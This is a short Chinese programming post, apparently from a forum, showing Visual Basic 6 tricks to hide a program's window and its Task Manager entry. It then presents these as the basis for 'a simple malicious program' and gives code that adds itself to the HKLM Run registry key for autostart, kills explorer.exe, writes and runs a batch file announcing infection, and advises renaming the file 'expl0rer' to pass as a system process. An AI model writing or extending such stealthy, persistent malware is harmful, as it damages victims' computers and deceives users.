|
第1种 - 关闭后到像迅雷一样隐藏
Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
Cancel = True
Me.Hide
End Sub
__
第2种 - 直接隐藏
Form1.Visible = False
__
第3种 - 在任务管理器应用程序中隐藏
app.TaskVisible = False
__
于是就可以编写一个简单的恶意代码
Private Sub Form_Load
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" '导入注册表,实现开机自动运行
Form1.Visible = False
App.Taskvisible = False
Shell "taskkill /f /im explorer.exe ", vbHide '结束explorer.exe进程
Open "c:\windows\$$$.bat" For Append As #1
Print #1 , "@echo off"
Print #1 , "echo 恭喜你中毒"
Print #1 , "echo. & pause"
Close #1
x = Shell("c:\windows\$$$.bat")
....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
End Sub |
|